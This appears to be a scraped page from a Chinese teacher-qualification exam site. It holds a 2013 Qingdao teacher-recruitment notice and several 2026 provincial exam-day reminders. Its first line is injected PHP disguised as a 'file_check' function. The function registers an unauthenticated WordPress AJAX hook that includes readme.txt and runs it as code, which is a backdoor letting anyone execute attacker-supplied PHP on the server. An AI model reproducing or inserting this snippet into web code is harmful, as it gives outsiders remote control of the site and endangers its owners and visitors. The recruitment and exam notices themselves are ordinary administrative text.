if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
山东省青岛市2013年公开招聘101名教师公告-全国教师资格考试网

山东省青岛市2013年公开招聘101名教师公告

  根据《事业单位公开招聘人员暂行规定》(人事部令第6号)、《山东省事业单位公开招聘人员实施办法》(鲁人发[2006]23号)、《青岛市事业单位公开招聘工作人员实施细则(暂行)》(青人发〔2006〕7号)以及国家、省、市有关规定和教育工作实际,2013年青岛市教育局直属事业单位公开招聘教师等101人(详见《2013年青岛市教育局直属事业单位公开招聘工作人员计划表》以下简称《计划表》),有关事项公告如下:
  一、招聘条件和范围
  1.具有中华人民共和国国籍;
  2.遵守宪法和法律;
  3.有良好的品行;
  4.身心健康,体检合格;
  5.符合招聘岗位要求的其它条件(见《计划表》)。
  公办中小学教师应聘,须经县以上教育行政主管部门同意;定向、委培毕业生报考,须征得定向、委培单位同意;在读全日制普通大中专院校非应届毕业生、现役军人、曾受过刑事处罚和被开除公职人员,在公务员招考和事业单位公开招聘中被认定有严重违纪违规行为且不得应聘的人员,以及法律规定不得应聘的其他情形人员,不得应聘。
  应聘人员不得应聘与其有应回避亲属关系的岗位。
  二、招聘办法
  (一)报名
  报名采取统一时间、网上报名、网上确认、网上缴费方式进行。
  网上报名时间:2013年4月15日9:00—4月17日16:00;
  网上审核时间:2013年4月16日9:00—4月18日12:00;
  查询及网上缴费时间:2013年4月16日9:00—4月18日16:00 。
  具体办法及要求:
  1.个人报名:应聘人员登录青岛市人事考试网(http://rsks.qdhrss.gov.cn),点击“2013年青岛市事业单位招聘网上报名入口”,进入事业单位招聘网上报名系统,如实填写、提交相关个人信息资料并按要求上传照片。每人限报一个岗位。应聘人员在资格初审前多次登录填交报名信息的,后一次填报自动替换前一次填报信息。报名资格一经初审通过,不能更改个人信息。应聘人员必须使用二代身份证报名,报名与考试时使用的身份证必须一致。报考者恶意注册报名信息,扰乱报名秩序或者伪造学历证明及其他有关证件骗取考试资格的,一经查实,由市事业单位招聘主管部门取消本次报考资格且5年内不得报考本市事业单位。
  2.单位初审:招聘单位指定专人负责,集中进行网上资格初审工作。根据应聘人员提交的信息资料,审查确定初审结果。
  应聘人员在网上提交报考信息后,可在第二天至查询截止之日前登录网上报名系统,查询报名资格初审结果。
  3.缴费:考务费按每人40元收取。报考人员在确认已被初审通过后,要按规定时间登录青岛市人事考试网进行网上缴费,逾期不办理网上缴费手续的,视作放弃。报考人员缴费成功后,自行下载打印《青岛市事业单位公开招聘人员报名登记表》和《应聘事业单位工作人员诚信承诺书》(以备资格审查时使用)。
  拟享受减免有关考务费用的农村特困大学生、城市低保应聘人员,须先在网上缴费,并于4月21日9:00—11:30,13:00—15:00到青岛市人力资源和社会保障局考试中心(青岛市市南区贵州路69号)办理考务费退款手续(逾期不予受理)。其中属于减免考务费的,应出具以下材料:《青岛市事业单位公开招聘人员报名登记表》;享受国家最低生活保障金的城镇家庭的报考人员,提交家庭所在地的县(区、市)民政部门出具的享受最低生活保障的证明和低保证(原件和复印件);农村绝对贫困家庭报考人员,提交家庭所在地的县(区、市)扶贫办(部门)出具的特困证明和特困家庭基本情况档案卡(原件和复印件)。如本人不能在规定时间内到场办理,可委托他人(持委托书及二代身份证)携带以上证明材料办理。
  4.准考证打印:报考人员于2013年5月9日9:00至11 日9:00登录青岛市人事考试网,自行下载打印《准考证》。
  5.网上报名结束后,对最终确定的应聘人数达不到1:3比例的招聘岗位,计划招聘1人的,取消招聘计划;计划招聘2人及以上的,按规定的比例相应核减招聘计划。紧缺岗位达不到规定报名人数比例的按实有人数参加笔试。取消或核减招聘计划情况在青岛市教育局网站(http://www.qdedu.gov.cn)和青岛教育人事及教师教育信息网站(http://chushi.qdedu.gov.cn/renshi)上予以公布。
  (二)笔试
  1.笔试内容及方式:根据招聘岗位需求,笔试科目共分四类:A为综合类、B为教育类、C为医疗卫生类、D为其他专业类。综合类考试内容为公共基础知识,主要包括法律法规、政治经济理论、时事政治、科技知识、市情市况等基础性知识;教育类考试内容为教育学、教育心理学相关知识和应用以及综合知识等;医疗卫生类考试内容为临床医学等11个专业基础知识;其他专业类分计算机和财会两类试卷,考试内容为相关专业基础知识和公共基础知识。
  笔试考一科,不指定教材。
  笔试采取统一命题、统一考试、集中阅卷的方式进行。笔试采取百分制计分,根据招聘岗位和考试情况确定笔试合格分数线。有关笔试信息在青岛市人事考试网发布。
  2.笔试时间:2013年5月11日。
  综合类、教育类 9:00—11:30;
  医疗卫生类、其他专业类 9:00—11:00 。
  3.面试人选确定:进入面试人选在笔试合格分数线以上,由高分到低分按招聘岗位和人数1:3(增加技能测试的岗位按1:5)的比例依次确定,达不到规定比例的,按进入面试人员的实有人数确定。笔试合格人数出现空缺的岗位,取消招聘计划。面试人选和资格审查有关事宜在青岛市教育局网站和青岛教育人事及教师教育信息网站上公布。
  (三)资格审查
  对应聘人员的资格审查工作,贯穿于招聘工作的全过程。进入面试环节的应聘人员,须按应聘岗位条件,提交本人相关证明材料及《青岛市事业单位公开招聘人员报名登记表》、《应聘事业单位工作人员诚信承诺书》(承诺书须本人签名)。相关证明材料主要包括:二代身份证、笔试准考证、学历证书、学位证书(学历、学位证书须在4月15日前取得)、教师资格证书;无业人员提交失业证或档案代管部门出具的无业证明(派遣期内未就业毕业生提供就业报到证),在职人员需提交有用人权限部门或单位出具的同意应聘证明;对应聘人员有相关工作年限要求的,提交工作单位出具的工作经历证明和经备案的劳动合同;专科学历考生需提交户口簿;2013届毕业生提交学校教务部门出具的学历及学位证明、毕业学校核发的就业推荐表和就业协议书(山东省内院校实行网上签约且未就业的毕业生可不提供就业协议书),已与用人单位签订就业协议的,需出具就业协议单位同意参加应聘的证明,定向、委培毕业生需提交定向、委培单位同意应聘的证明;岗位要求提供的其他相关证书和材料。
  上述材料均需提供原件和一份复印件。应聘人员在规定时间内未提交有关材料的,视为弃权。经审查不具备报考条件的,取消其面试资格。因弃权或取消资格产生的空缺,按笔试成绩依次递补。
  (四)面试
  1.面试工作在市事业单位公开招聘主管机关的监督指导下,由市教育局按照《青岛市事业单位公开招聘考试工作规程》(青人办发[2009]146号)和《关于进一步规范事业单位公开招聘面试工作有关问题的通知》(青人社发[2011]29号)要求统一组织实施。面试方案在青岛市教育局网站和青岛教育人事及教师教育信息网站上公布。
  2.教师岗位面试采用说课和答辩方式,部分岗位增加技能测试(详见《计划表》),说课和答辩主要考核教师岗位所需的基本能力和专业水平, 包括教学设计、教学能力、教学基本素养、教学思想和专业知识等方面;其它岗位面试不进行说课,采取答辩加技能测试方式。
  3.面试成绩采取百分制,并计算到小数点后两位数,尾数四舍五入。说课答辩成绩和技能测试成绩均按百分制计分,增加技能测试的岗位,技能测试成绩占面试总成绩50%计算。
  (五)进入体检考核范围人员确定
  1.本简章所有招聘岗位按照应聘人员笔试成绩30%和面试成绩70%的比例计算总成绩(百分制),并计算到小数点后两位数,尾数四舍五入。按照总成绩,分招聘岗位,由高分到低分按招聘计划1:1比例确定进入体检考核范围人员。同一招聘计划中出现两名及以上应聘人员考试总成绩相同时,取笔试成绩较高者。说课答辩成绩、技能测试成绩中有一项低于60分的,不进入体检考核范围。
  进入体检考核范围人员名单在青岛市教育局网站和青岛教育人事及教师教育信息网站上公布。
  2.“市教育局直属单位校医”和“市教育局直属单位会计”岗位按照总成绩从高分到低分的顺序,分别由应聘人员自主选择具体应聘单位(见《计划表》)后进行体检考核。
  (六)体检和考核
  体检、考核工作按《青岛市事业单位公开招聘工作人员实施细则(暂行)》(青人发[2006]7号)等规定执行。
  1.体检。体检在县级以上综合医院进行,体检标准参照录用国家公务员体检标准执行。体检费用自理。
  2.考核。招聘单位按照德才兼备标准和岗位要求,全面了解体检合格人员思想政治表现、道德品质、工作实绩以及回避制度执行等方面情况,并对考核对象进行资格复查,形成书面考核意见。
  3.进入体检和考核环节后,因放弃体检、考核资格或体检、考核不合格等情况出现的职位空缺不再递补。
  (七)公示、聘用
  考试、体检、考核后,确定拟聘用人员,并在青岛市教育局网站和青岛教育人事及教师教育信息网站进行公示,公示期为7个工作日。公示期满无异议的,由市教育局提出聘用意见,连同资格审查、面试、体检考核等原始资料报市事业单位公开招聘主管机关审核、备案。符合聘用条件的,由市人力资源和社会保障局发放《事业单位招聘人员通知书》,双方按规定签订聘用合同,确立人事关系。受聘人员按规定实行试用期制度。无教师资格证要求的紧缺教师岗位,无教师资格证人员可先应聘,但须在聘用两年内取得相应的教师资格证书,否则不再续聘。
  三、纪律
  公开招聘实行全程监督,工作人员和应聘人员要严格按照招聘简章、面试方案及有关政策规定执行,如有弄虚作假,徇私舞弊等违反公开招聘考试纪律的行为,一经查实,将参照《公务员录用考试违纪违规行为处理办法(试行)》(人社部发〔2009〕126号)的有关规定严肃处理。
  四、有关说明
  1.应聘人员在报考期间,应及时了解招聘网站发布的招聘信息,因本人原因错过重要信息而影响考试聘用的,责任自负。
  2.工作咨询与监督:
  招聘工作咨询电话:0532-66620621(咨询时间为工作日9:00—12:00,13:30—17:00)
  网上报考技术咨询电话:15588683585
  监督电话:0532-85912940
  附件:2013年青岛市教育局直属事业单位公开招聘工作人员计划表

青岛市教育局
2013-04-02
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部